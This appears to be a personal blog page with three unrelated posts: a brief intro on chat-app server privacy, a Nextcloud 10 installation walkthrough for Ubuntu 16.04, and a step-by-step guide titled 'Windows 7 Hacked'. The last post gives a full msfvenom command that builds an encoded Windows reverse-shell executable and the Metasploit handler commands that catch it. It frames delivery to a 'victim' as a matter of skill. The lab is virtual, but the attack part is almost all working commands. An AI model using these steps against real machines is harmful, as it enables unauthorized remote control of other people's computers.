Privacy Concerns & Server Locations : Hike-Telegram-Whatspp

1.    I have always seen and observed discussions amongst my friends and circle about which Chat Messenger is safe and which is not in terms of safety and privacy aspects.Whether the servers are located inside the country or they are off-shores,how their data is shared and how is their privacy likely to be compromised bu third parties.....So to just do a over view check,here I present an over view of such FAQs in context of Server Locations and data sharing aspects,primarily sourced from the original websites.

Nextcloud 10 installation @ Ubuntu 16.04 LTS

1.   Nextcloud is open source file sync and share software for everyone from individuals operating the free Nextcloud Server in the privacy of their own home, to large enterprises and service providers supported by the Nextcloud Enterprise Subscription. Nextcloud provides a safe, secure, and compliant file synchronization and sharing solution on servers that you control.

2.   This post shares screen shots of my installation of the same in UBUNTU 16.04 LTS.The screen-shots are self explanatory along with the command sets available for direct lift if one is interested.

Reference help of this post :
Video post of this at

Here's my ip address configuration as set on the virtual machine Ubuntu.
Terminal commands :

> apt-get update
 > apt-get install lamp-server^

> apt-get install libapache2-mod-php7.0 php7.0-mbstring php7.0-curl php7.0-zip php7.0-gd php7.0-mysql php7.0-mcrypt
> apt-get install php-xml
Goto the nextcloud site at and download the zip file for nextcloud installation.This one is version 10

Downloading here as seen completing :
Goto the Downloads folder and unzip it
> unzip

> mv nextcloud /var/www/html
> chown -R www-data:www-data /var/www/html/nextcloud

Now we need to Configure MariaDB for this vide these commands as mentioned :
> mysql_secure_installation
Type Yes for all except may be root password which u might want to retain.

GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextcloud'@'localhost' IDENTIFIED BY 'anupam';

> Gedit /etc/mysql/my.cnf

Add the following three lines at the end:
log-bin = /var/log/mysql/mariadb-bin
log-bin-index = /var/log/mysql/mariadb-bin.index
binlog_format = mixed


Now we need to Configure Apache Web Server
> sudo a2enmod rewrite
> touch /etc/apache2/sites-available/nextcloud.conf
> ln -s /etc/apache2/sites-available/nextcloud.conf /etc/apache2/sites-enabled/nextcloud.conf
> nano /etc/apache2/sites-available/nextcloud.conf

Add the following:

ServerAdmin admin@ubuntu
DocumentRoot "/var/www/html/nextcloud/"
ServerName youripaddress
ServerAlias ubuntu

Options FollowSymLinks
AllowOverride All
Order allow,deny
allow from all

ErrorLog /var/log/apache2/
CustomLog /var/log/apache2/ common

here you ready to go....just type the ipaddress in the web browser...

Windows 7 Hacked @ Kali Linux - msfvenom

This post gives you a step by step way to get shell or command terminal of a victim user on Windows 7 OS from an other PC with a loaded Kali OS.The setup scenario is like this as seen in the screen shots below in a virtual box environment :

KALI LINUX : IP Address eth1 :
 Windows 7 Ultimate Machine : IP Address :
 Pinging from Kali LInux Machine to Windows 7 Machine
 Pinging from Windows 7 to Kali Linux Machine
msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015.Open your terminal (CTRL + ALT + T) and type msfvenom -h to view the available options for this tools.Now need to go to Kali terminal and execute the following command :

p /windows/meterpreter/reverse_tcp designates the payload we want to embed
LHOST designates the local host
LPORT designates the port we want to listen on
-x designates the template we want to use and the path to it
-e x86/shikata_ga_nai designates the encoder we want to use
-f exe designates we want to create an executable (.exe)
anupam.exe designates the name of the file created

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/anupam.exe
Click to Enlarge
Followed by the following sets of command :

root@kali:~# file /tmp/anupam.exe

root@kali:~# msfconsole -q

msf > use exploit/multi/handler

msf exploit(handler) > show options

msf exploit(handler) > set payload windows/shell/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set LHOST

msf exploit(handler) > set LPORT 3333

msf exploit(handler) > exploit

Now you need to apply your skills to take the file ..anupam.exe in this case to the windows machine.In my case for example,i have placed it on the desktop as seen below :
The moment the file anupam.exe is clicked and executed from the windows machine,we get the shell on the Kali Linux machine as seen below :
Here you have the C:\ prompt from the windows machine :-)
